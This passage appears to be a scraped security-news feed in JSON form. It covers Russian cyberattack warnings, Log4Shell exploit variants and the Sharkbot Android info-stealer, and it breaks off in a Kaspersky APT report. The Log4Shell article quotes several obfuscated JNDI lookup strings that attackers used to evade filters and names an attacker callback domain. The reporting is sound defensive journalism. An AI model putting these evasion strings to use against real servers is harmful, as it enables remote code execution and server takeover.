Russia could conduct malicious cyber activity against the United States, including as a response to the unprecedented economic costs we\u2019ve imposed on Russia alongside our allies and partners. It\u2019s part of Russia\u2019s playbook. Today, my Administration is reiterating those warnings based on evolving intelligence that the Russian Government is exploring options for potential cyberattacks.\u201d_\n\nThe [fact sheet](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/21/fact-sheet-act-now-to-protect-against-potential-cyberattacks/>) contains basic advice for hardening cyber-defenses, including employee awareness education; implementing multifactor authentication; keeping patching up-to-date; ensuring backups for data; turning on encryption; red-team exercises; and updating security tools.\n\n\u201cThis is a call to action and a call to responsibility for all of us,\u201d Neuberger said, again citing a \u201cpotential shift in intention\u201d by Russia.\n\n## **Organizations Are Not Prepared for Russian Attacks**\n\nJason Rebholz, CISO at Corvus Insurance, noted that basic cyber-hardening should have begun long ago.\n\n\u201cThe White House\u2019s best practices echo security fundamentals \u2013 something every organization should strive for,\u201d he said via email. \u201cFor many organizations, the time to implement was several years ago, as the frequency and severity of attacks began to escalate. Like planting a tree, the best time to secure your organization was ten years ago. The next best time is today. Organizations that have not addressed the key items and hardened their cyber-defenses are at a significantly greater risk of compromise.\u201d\n\nBeyond the basics, there are other challenges in being prepared for an onslaught from Russia\u2019s [considerable cyber-arsenal](<https://threatpost.com/destructive-wiper-organizations-ukraine/178937/>), Modi said.\n\n\u201cWhile governments and businesses have started pivoting towards proactive cybersecurity, it is difficult to do so without addressing the three major challenges in cybersecurity that organizations face,\u201d he explained. \u201cThere are too many cybersecurity products that do not communicate with each other, and this siloed approach leads to managing cybersecurity reactively. Finally, despite increased attention on the need for a better disclosure mechanism of cyberattacks, cybersecurity communication continues to be a challenge since it often lacks a business context.\u201d\n\nMeanwhile, Danny Lopez, CEO at Glasswall, pointed out that the real risk involves zero-day exploits and other unknown threats.\n\n\u201cPutin is playing a long game. War is costly both in terms of human and economic terms. If we see a de-escalation of the situation on the ground, we are likely to see an escalation of cyber warfare,\u201d he told Threatpost. \u201cThere are no patches for [unknown zero-day] and they wreak havoc within hours, whilst the security services and technology industry tries to catch up. These are extremely dangerous to governments as well as businesses.\u201d\n\nThe bottom line is that organizations should assume that attacks are imminent, researchers concluded.\n\n\u201cIt is a confusing time that involves two nations that have historically possessed and demonstrated very good skills in the cybersecurity and cybercrime areas,\u201d noted Purandar Das, co-founder and CEO at Sotero, via email. \u201cCountries under duress have and will utilize cyberattacks as a way to retaliate and to get around sanctions. The U.S. being the face of such sanctions and a history of poorly protected infrastructure make it a tempting target. Add all this together and the warnings make a lot of sense.\u201d\n\n_**Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our **_[_**FREE downloadable eBook**_](<https://bit.ly/3Jy6Bfs>)_**, \u201cCloud Security: The Forecast for 2022.\u201d**_ _**We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-22T16:31:18", "type": "threatpost", "title": "Russia Lays Groundwork for Cyberattacks on U.S. Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-22T16:31:18", "id": "THREATPOST:40A6B1288BA6177BA30307804BE630D0", "href": "https://threatpost.com/russia-cyberattacks-us-infrastructure/179037/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-14T18:10:35", "description": "The internet has a fast-spreading, malignant cancer \u2013 otherwise known as the Apache Log4j logging library exploit \u2013 that\u2019s been rapidly mutating and attracting swarms of attackers since it was publicly disclosed last week.\n\nMost of the attacks focus on cryptocurrency mining done on victims\u2019 dimes, as seen by [Sophos](<https://twitter.com/SophosLabs/status/1470213371521810432>), [Microsoft](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/?ranMID=24542&ranEAID=TnL5HPStwNw&ranSiteID=TnL5HPStwNw-nTRXUjz5ulspb4eSb08quA&epi=TnL5HPStwNw-nTRXUjz5ulspb4eSb08quA&irgwc=1&OCID=AID2200057_aff_7593_1243925&tduid=%28ir__cypaumpgf9kf6hvtats20idnqu2xoijddhze9dj600%29%287593%29%281243925%29%28TnL5HPStwNw-nTRXUjz5ulspb4eSb08quA%29%28%29&irclickid=_cypaumpgf9kf6hvtats20idnqu2xoijddhze9dj600>) and other security firms. However, attackers are actively trying to install far more dangerous malware on vulnerable systems as well.\n\nAccording to [Microsoft](<https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/>) researchers, beyond coin-miners, they\u2019ve also seen installations of [Cobalt Strike](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>), which attackers can use to steal passwords, creep further into compromised networks with lateral movement and exfiltrate data.\n\nAlso, it could get a lot worse. Cybersecurity researchers at [Check Point warned](<https://blog.checkpoint.com/2021/12/11/protecting-against-cve-2021-44228-apache-log4j2-versions-2-14-1/>) on Monday that the evolution has already led to more than 60 bigger, brawnier mutations, all spawned in less than a day.\n\n\u201cSince Friday we witnessed what looks like an evolutionary repression, with new variations of the original exploit being introduced rapidly: over 60 in less than 24 hours,\u201d they said.\n\nThe flaw, which is uber-easy to exploit, has been named [Log4Shell](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>). It\u2019s resident in the ubiquitous Java logging library Apache Log4j and could allow unauthenticated remote code execution (RCE) and complete server takeover. It first turned up on sites that cater to users of the world\u2019s favorite game, Minecraft, last Thursday, and was being exploited in the wild within hours of public disclosure.\n\n## Mutations May Enable Exploits to Slip Past Protections\n\nOn Monday, Check Point reported that Log4Shell\u2019s new, malignant offspring can now be exploited \u201ceither over HTTP or HTTPS (the encrypted version of browsing),\u201d they said.\n\nThe more ways to exploit the vulnerability, the more alternatives attackers have to slip past the new protections that have frantically been pumped out since Friday, Check Point said. \u201cIt means that one layer of protection is not enough, and only multilayered security postures would provide a resilient protection,\u201d they wrote.\n\nBecause of the enormous attack surface it poses, some security experts are calling Log4Shell the biggest cybersecurity calamity of the year, putting it on par with the 2014 [Shellshock](<https://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x/108521/>) family of security bugs that was exploited by botnets of compromised computers to perform distributed denial-of-service (DDoS) attacks and vulnerability scanning within hours of its initial disclosure.\n\n## Tactical Shifts\n\nBesides variations that can slip past protections, researchers are also seeing new tactics.\n\nLuke Richards, Threat Intelligence Lead at AI cybersecurity firm Vectra, told Threatpost on Monday that initial exploit attempts were basic call backs, with the initial exploit attempt coming from TOR nodes. They mostly pointed back to \u201cbingsearchlib[.]com,\u201d with the exploit being passed into the User Agent or the Uniform Resource Identifier (URI) of the request.\n\nBut since the initial wave of exploit attempts, Vectra has tracked many changes in tactics by the threat actors who are leveraging the vulnerability. Notably, there\u2019s been a shift in the commands being used, as the threat actors have begun obfuscating their requests.\n\n\u201cThis originally included stuffing the User Agent or URI with a base64 string, which when decoded by the vulnerable system caused the host to download a malicious dropper from attacker infrastructure,\u201d Richards explained in an email. Following this, the attackers started obfuscating the Java Naming and Directory Interface (JDNI) string itself, by taking advantage of other translation features of the JDNI process.\n\nHe offered these examples:\n\n${jndi:${lower:l}${lower:d}a${lower:p}://world80 \n${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}// \n${jndi:dns://\n\n\u2026All of which achieve the same objective: \u201cto download a malicious class file and drop it onto the target system, or to leak credentials of cloud-based systems,\u201d Richards said.\n\n## Bug Has Been Targeted All Month\n\nAttackers have been buzzing around the Log4Shell vulnerability since at least Dec. 1, it turns out, and as soon as CVE-2021-44228 was publicly disclosed late last week, attackers began to swarm around honeypots.\n\nOn Sunday, Sophos researchers [said](<https://twitter.com/SophosLabs/status/1470213367142965254?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1470213367142965254%7Ctwgr%5E%7Ctwcon%5Es1_c10&ref_url=https%3A%2F%2Fkasperskycontenthub.com%2Fthreatpost-global%2Fwp-admin%2Fpost-new.php>) that they\u2019d \u201calready detected hundreds of thousands of attempts since December 9 to remotely execute code using this vulnerability,\u201d noting that log searches by other organizations (including Cloudflare) suggest that the vulnerability may have been openly exploited for weeks.\n\n> Sophos has already detected hundreds of thousands of attempts since December 9 to remotely execute code using this vulnerability, and log searches by other organizations (including Cloudflare) suggest the vulnerability may have been openly exploited for weeks. 11/16 [pic.twitter.com/dbAXG5WdZ8](<https://t.co/dbAXG5WdZ8>)\n> \n> \u2014 SophosLabs (@SophosLabs) [December 13, 2021](<https://twitter.com/SophosLabs/status/1470213367142965254?ref_src=twsrc%5Etfw>)\n\n\u201cEarliest evidence we\u2019ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC,\u201d Cloudflare CEO Matthew Prince [tweeted](<https://twitter.com/eastdakota/status/1469800951351427073>) on Saturday. \u201cThat suggests it was in the wild at least nine days before publicly disclosed. However, don\u2019t see evidence of mass exploitation until after public disclosure.\u201d\n\nOn Sunday, Cisco Talos [chimed in](<https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html>) with a similar timeframe: It first saw attacker activity related to CVE-2021-44228 starting on Dec. 2. \u201cIt is recommended that organizations expand their hunt for scanning and exploit activity to this date,\u201d it advised.\n\n## Exploits Attempted on 40% of Corporate Networks\n\nCheck Point said on Monday that it\u2019s thwarted more than 845,000 exploit attempts, with more than 46 percent of those attempts made by known, malicious groups. In fact, Check Point warned that it\u2019s seen more than 100 attempts to exploit the vulnerability per minute.\n\nAs of 9 a.m. ET on Monday, its researchers had seen exploits attempted on more than 40 percent of corporate networks globally.\n\nThe map below illustrates the top targeted geographies.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/12/13121325/map.jpg>)\n\nTop affected geographies. Source: Check Point.\n\nHyperbole isn\u2019t an issue with this flaw. Security experts are rating it as one of the worst vulnerabilities of 2021, if not the tip-top most terrible. Dor Dali, Director of Information Security at Vulcan Cyber, classes it in the top-three worst flaws of the year: \u201cIt wouldn\u2019t be a stretch to say that every enterprise organization uses Java, and Log4j is one of the most-popular logging frameworks for Java,\u201d Dali noted via email on Monday. \u201cConnecting the dots, the impact of this vulnerability has the reach and potential to be substantial if mitigation efforts aren\u2019t taken right away.\u201d\n\nAs has been repeatedly stressed since its initial public disclosure, the Log4j vulnerability \u201cis relatively easy to exploit, and we\u2019ve already seen verifiable reports that bad actors are actively running campaigns against some of the largest companies in the world,\u201d Dali reiterated. \u201cHopefully every organization running Java has the ability to secure, configure and manage it. If Java is being used in production systems IT security teams must prioritize the risk and mitigation campaigns and follow remediation guidelines from the Apache Log4j project as soon as possible.\u201d\n\nThis situation is rapidly evolving, so keep an eye out for additional news. Below are some of the related pieces we\u2019ve seen, along with some of the new protections and detection tools.\n\n## More News\n\n * ** **[**Linux botnets have already exploited the flaw.**](<https://securityaffairs.co/wordpress/125562/malware/linux-botnets-log4shell-flaw.html?utm_source=feedly&utm_medium=rss&utm_campaign=linux-botnets-log4shell-flaw>) [NetLab 360](<https://blog.netlab.360.com/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/>) reported on Saturday that two of its honeypots have been attacked by the [Muhstik](<https://threatpost.com/muhstik-botnet-attacks-tomato-routers/152079/>) and [Mirai](<https://threatpost.com/mirai-variant-sonicwall-d-link-iot/164811/>) botnets. Following detection of those attacks, the Netlab 360 team found [other botnets](<https://threatpost.com/log4shell-attacks-origin-botnet/176977/>) on the hunt for the Log4Shell vulnerability, including the DDoS family Elknot, the mining family m8220, SitesLoader, xmrig.pe, xmring.ELF, attack tool 1, attack tool 2, plus one unknown and a PE family. [BleepingComputer](<https://www.bleepingcomputer.com/news/security/hackers-start-pushing-malware-in-worldwide-log4shell-attacks/>) also reports that it\u2019s observed the threat actors behind the [Kinsing](<https://threatpost.com/self-propagating-malware-docker-ports/154453/>) backdoor and cryptomining botnet \u201cheavily abusing the Log4j vulnerability.\u201d\n * [**CISA has added Log4Shell to the Known Exploited Vulnerabilities Catalog**](<https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/cisa-adds-thirteen-known-exploited-vulnerabilities-catalog>).\n * [**Quebec shut down thousands of sites**](<https://securityaffairs.co/wordpress/125556/hacking/quebec-shut-down-sites-log4shell.html?utm_source=feedly&utm_medium=rss&utm_campaign=quebec-shut-down-sites-log4shell>) after disclosure of the Log4Shell flaw. \u201c\u201dWe need to scan all of our systems,\u201d said Canadian Minister Responsible for Digital Transformation and Access to Information Eric Caire in a news conference. \u201cWe\u2019re kind of looking for a needle in a haystack.\u201d\n\n## New Protections, Detection Tools\n\n * On Saturday, Huntress Labs released a tool \u2013 [available here](<https://log4shell.huntress.com/>) \u2013 to help organizations test whether their applications are vulnerable to CVE-2021-44228.\n * Cybereason released [Logout4Shell](<https://github.com/apache/logging-log4j2/pull/608>), a \u201cvaccine\u201d for the Log4Shell Apache Log4j RCE, that uses the vulnerability itself to set the flag that turns it off.\n\n## Growing List of Affected Manufacturers, Components\n\nAs of Monday, the internet was still in meltdown drippy mode, with an ever-growing, crowd-sourced list [hosted on GitHub](<https://github.com/YfryTchsGD/Log4jAttackSurface>) that only scratches the surface of the millions of applications and manufacturers that use log4j for logging. The list indicates whether they\u2019re affected by Log4Shell and provides links to evidence if they are.\n\nSpoiler alert: Most are, including:\n\n * [Amazon](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Amazon.md>)\n * [Apache Druid](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ApacheDruid.md>)\n * [Apache Solr](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ApacheSolr.md>)\n * [Apache Struts2](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ApacheStruts2.md>)\n * [Apple](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/apple.md>)\n * [Baidu](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Baidu.md>)\n * [CloudFlare](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/CloudFlare.md>)\n * [DIDI](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/DIDI.md>)\n * [ElasticSearch](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ElasticSearch.md>)\n * [Google](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Google.md>)\n * [JD](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/JD.md>)\n * [LinkedIn](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/LinkedIn.md>)\n * [NetEase](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/NetEase.md>)\n * [Speed camera LOL](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/SpeedCamera.md>)\n * [Steam](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Steam.md>)\n * [Tesla](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Tesla.md>)\n * [Tencent](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Tencent.md>)\n * [Twitter](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Twitter.md>)\n * [VMWare](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/VMWare.md>)\n * [VMWarevCenter](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/VMWarevCenter.md>)\n * [Webex](<https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/Webex.md>)\n\n## A Deep Dive and Other Resources\n\n * **Immersive Labs** has posted a[ hands-on lab](<https://www.linkedin.com/posts/immersive-labs-limited_in-december-a-zero-day-vulnerability-affecting-activity-6876088019028336640-MtYh>) of the incident.\n * **Lacework** has published a [blog post ](<https://www.lacework.com/blog/lacework-labs-identifies-log4j-attackers/>) regarding how the news affects security best practices at the developer level.\n * **NetSPI** has published a [blog post](<https://www.netspi.com/blog/executive/security-industry-trends/log4j-zero-day-vulnerability-impact/>) that includes details on Log4Shell\u2019s impact, guidance to determine whether your organization is at risk, and mitigation recommendations.\n\nThis is a developing story \u2013 stay tuned to Threatpost for ongoing coverage.\n\n121321 13:32 UPDATE 1: Added input from Dor Dali and Luke Richards. \n121321 14:15 UPDATE 2: Added additional botnets detected by NetLab 360.\n\n**_There\u2019s a sea of unstructured data on the internet relating to the latest security threats._**[ **_REGISTER TODAY_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_ to learn key concepts of natural language processing (NLP) and how to use it to navigate the data ocean and add context to cybersecurity threats (without being an expert!). This_**[ **_LIVE, interactive Threatpost Town Hall_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)**_, sponsored by Rapid 7, will feature security researchers Erick Galinkin of Rapid7 and Izzy Lazerson of IntSights (a Rapid7 company), plus Threatpost journalist and webinar host, Becky Bracken. \n_** \n[**_Register NOW_**](<https://threatpost.com/webinars/security-threats-natural-language-processing/?utm_source=In+Article&utm_medium=article&utm_campaign=Decoding+the+Data+Ocean:+Security+Threats+%26+Natural+Language+Processing&utm_id=In+Article>)_** for the LIVE event!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-12-13T18:14:46", "type": "threatpost", "title": "Log4Shell Is Spawning Even Nastier Mutations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2021-12-13T18:14:46", "id": "THREATPOST:34D98758A035C36FED68DDD940415845", "href": "https://threatpost.com/apache-log4j-log4shell-mutations/176962/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-08T16:20:58", "description": "Researchers have found the info-stealing Android malware Sharkbot lurking unsuspected in the depths of the Google Play store under the cover of anti-virus (AV) solutions.\n\nWhile analyzing suspicious applications on the store, the Check Point Research (CPR) team found what purported to be genuine AV solutions downloading and installing the malware, which steals credentials and banking info from Android devices but also has a range of other unique features.\n\n\u201cSharkbot lures victims to enter their credentials in windows that mimic benign credential input forms,\u201d CPR researchers Alex Shamsur and Raman Ladutska wrote in a [report](<https://research.checkpoint.com/2022/google-is-on-guard-sharks-shall-not-pass/>) published Thursday. \u201cWhen the user enters credentials in these windows, the compromised data is sent to a malicious server.\u201d\n\nResearchers discovered six different applications\u2014including ones named Atom Clean-Booster, Antivirus; Antvirus Super Cleaner; and Center Security-Antivirus\u2014spreading Sharkbot. The apps came from three developer accounts\u2013Zbynek Adamcik, Adelmio Pagnotto and Bingo Like Inc.\u2014at least two of which were active in the autumn of last year. The timeline makes sense, as Sharkbot [first came onto researchers\u2019](<https://blog.malwarebytes.com/trojans/2021/11/sharkbot-android-banking-trojan-cleans-users-out/>) radar screens in November.\n\n\u201cSome of the applications linked to these accounts were removed from Google Play, but still exist in unofficial markets,\u201d researchers wrote. \u201cThis could mean that the actor behind the applications is trying to stay under the radar while still involved in malicious activity.\u201d\n\nGoogle removed the offending applications, but not before they were downloaded and installed about 15,000 times, researchers said. Primary targets of Sharkbot are users in the United Kingdom and Italy, as was previously the case, they said.\n\n## **Unique Aspects**\n\nCPR researchers peered under the hood of Sharkbot and uncovered not only typical info-stealing tactics, but also some characteristics that set it apart from typical Android malware, researchers said. It includes a geofencing feature that selects users based on geographic areas, ignoring users from China, India, Romania, Russia, Ukraine or Belarus, they said.\n\nSharkbot also boasts some clever techniques, researchers noted. \u201cIf the malware detects it is running in a sandbox, it stops the execution and quits,\u201d they wrote.\n\nAnother unique hallmark of the malware is that it makes use of Domain Generation Algorithm (DGA), an aspect rarely used in malware for the Android platform, researchers said.\n\n\u201cWith DGA, one sample with a hardcoded seed generates seven domains per week,\u201d they wrote. \u201cIncluding all the seeds and algorithms we have observed, there is a total of 56 domains per week, i.e., 8 different combinations of seed/algorithm.\u201d\n\nResearchers observed 27 versions of Sharkbot in their research; the main difference between versions was different DGA seeds as well as different botnetID and ownerID fields, they said.\n\nAll in all, Sharkbot implements 22 commands that allow various malicious actions to be executed on a user\u2019s Android device, including: requesting permission for sending SMS messages; uninstalling a given applications; sending the device\u2019s contact list to a server; disabling battery optimization so Sharkbot can run in the background; and imitating the user\u2019s swipe over the screen.\n\n## **Timeline of Activity**\n\nResearchers first discovered four applications of the Sharkbot Dropper on Google Play on Feb. 25 and shortly thereafter reported their findings to Google on March 3. Google removed the applications on March 9 but then another Sharkbot dropper was discovered six days later, on March 15.\n\nCPR reported the third dropper discovered immediately and then found two more Sharkbot droppers on March 22 and March 27 that they also reported quickly to Google for removal.\n\nThe droppers by which Sharkbot spreads in and of themselves should raise concern, researchers said. \u201cAs we can judge by the functionality of the droppers, their possibilities clearly pose a threat by themselves, beyond just dropping the malware,\u201d they wrote in the report.\n\nSpecifically, researchers found the Sharkbot dropper masquerading as the following applications on Google Play;\n\n * com.abbondioendrizzi.tools[.]supercleaner\n * com.abbondioendrizzi.antivirus.supercleaner\n * com.pagnotto28.sellsourcecode.alpha\n * com.pagnotto28.sellsourcecode.supercleaner\n * com.antivirus.centersecurity.freeforall\n * com.centersecurity.android.cleaner\n\nThe droppers also have a few of their own evasion tactics, such as detecting emulators and quitting if one is found, researchers noted. They also are able to inspect and act on all the UI events of the device as well as replace notifications sent by other applications.\n\n\u201cIn addition, they can install an APK downloaded from the CnC, which provides a convenient starting point to spread the malware as soon as the user installs such an application on the device,\u201d researchers added.\n\n## **Google Play Under Fire**\n\nGoogle has [long struggled](<https://threatpost.com/google-play-malware-spy-trojans/164601/>) with the persistence of malicious applications and [malware](<https://threatpost.com/teabot-trojan-haunts-google-play-store/178738/>) on its Android app store and has made significant efforts to clean up its act.\n\nHowever, the emergence of Sharkbot disguised as AV solutions shows that attackers are getting sneakier in how they hide their malicious activity on the platform, and could serve to damage users\u2019 confidence in Google Play, noted a security professional.\n\n\u201cMalware apps that conceal their malicious functionality with time delays, code obfuscation and geofencing can be challenging to detect during the app review process, but the regularity that they are discovered lurking in official app stores really damages user trust in the safety of all apps on the platform,\u201d observed Chris Clements, vice president of solutions architecture at security firm [Cerberus Sentinel](<https://www.cerberussentinel.com/>), in an email to Threatpost**.**\n\nWith the smartphone at the center of people\u2019s digital lives and actins as a hub of financial, personal and work activity, \u201cany malware that compromises the security of such a central device can do significant financial or reputational damage,\u201d he added.\n\nAnother security professional urged caution to Android users when deciding whether or not to download a mobile app from a reputable vendor\u2019s store, even if it\u2019s a trusted brand.\n\n\u201cWhen installing apps from various technology stores, it is best to research the app before downloading it,\u201d observed James McQuiggan, security awareness advocate at [KnowBe4](<http://www.knowbe4.com/>). **\u201c**Cybercriminals love to trick users into installing malicious apps with hidden functionalities in an attempt to steal data or take over accounts.\u201d\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-08T16:06:29", "type": "threatpost", "title": "Google Play Bitten by Sharkbot Info-stealer \u2018AV Solution\u2019", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-04-08T16:06:29", "id": "THREATPOST:48A631F2D45804C677BB672F838F29DA", "href": "https://threatpost.com/google-play-bitten-sharkbot/179252/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2021-11-26T14:36:44", "description": "\n\n * **IT threat evolution Q3 2021**\n * [IT threat evolution in Q3 2021. PC statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-pc-statistics/104982/>)\n * [IT threat evolution in Q3 2021. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-mobile-statistics/105020/>)\n\n## Targeted attacks\n\n### WildPressure targets macOS\n\nLast March, we reported a [WildPressure campaign targeting industrial-related entities in the Middle East](<https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/>). While tracking this threat actor in spring 2021, we discovered a newer version. It contains the C++ Milum Trojan, a corresponding VBScript variant and a set of modules that include an orchestrator and three plugins. This confirms our previous assumption that there were more last-stagers besides the C++ ones.\n\nAnother language used by WildPressure is Python. The PyInstaller module for Windows contains a script named "Guard". Interestingly, this malware was developed for both Windows and macOS operating systems. The coding style, overall design and C2 communication protocol is quite recognizable across all three programming languages used by the authors.\n\nWildPressure used both virtual private servers (VPS) and compromised servers in its infrastructure, most of which were WordPress websites.\n\nWe have very limited visibility for the samples described in our report, but our telemetry suggests that the targets in this campaign were also from the oil and gas industry.\n\nYou can view our report on the new version [here](<https://securelist.com/wildpressure-targets-macos/103072/>), together with a video presentation of our findings.\n\n### LuminousMoth: sweeping attacks for the chosen few\n\nWe recently uncovered a large-scale and highly active attack against targets in Southeast Asia by a threat actor that we call [LuminousMoth](<https://securelist.com/apt-luminousmoth/103332/>). The campaign dates back to October last year and was still ongoing at the time we published our public report in July. Most of the early sightings were in Myanmar, but it seems the threat actor is now much more active in the Philippines. Targets include high-profile organizations: namely, government entities located both within those countries and abroad.\n\nMost APT threats carefully select their targets and tailor the infection vectors, implants and payloads to the victims' identities or environment. It's not often we observe a large-scale attack by APT threat actors \u2013 they usually avoid such attacks because they are too 'noisy' and risk drawing attention to the campaign. LuminousMoth is an exception. We observed a high number of infections; although we think the campaign was aimed at a few targets of interest.\n\nThe attackers obtain initial access to a system by sending a spear-phishing email to the victim containing a Dropbox download link. The link leads to a RAR archive that masquerades as a Word document. The archive contains two malicious DLL libraries as well as two legitimate executables that side-load the DLL files. We found multiple archives like this with file names of government entities linked to Myanmar.\n\nWe also observed a second infection vector that comes into play after the first one has successfully finished. The malware tries to spread to other hosts on the network by infecting USB drives.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12153755/LuminousMoth_01.png>)\n\nIn addition to the malicious DLLs, the attackers also deployed a signed, but fake version of the popular application Zoom on some infected systems, enabling them to exfiltrate data.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154002/LuminousMoth_05.png>)\n\nThe threat actor also deploys an additional tool that accesses a victim's Gmail session by stealing cookies from the Chrome browser.\n\nInfrastructure ties as well as shared TTPs allude to a possible connection between LuminousMoth and the HoneyMyte threat group, which has been seen targeting the same region using similar tools in the past.\n\n### Targeted attacks exploiting CVE-2021-40444\n\nOn September 7, [Microsoft reported a zero-day vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) (CVE-2021-40444) that could allow an attacker to execute code remotely on vulnerable computers. The vulnerability is in MSHTML, the Internet Explorer engine. Even though few people use IE nowadays, some programs use its engine to handle web content \u2013 in particular, Microsoft Office 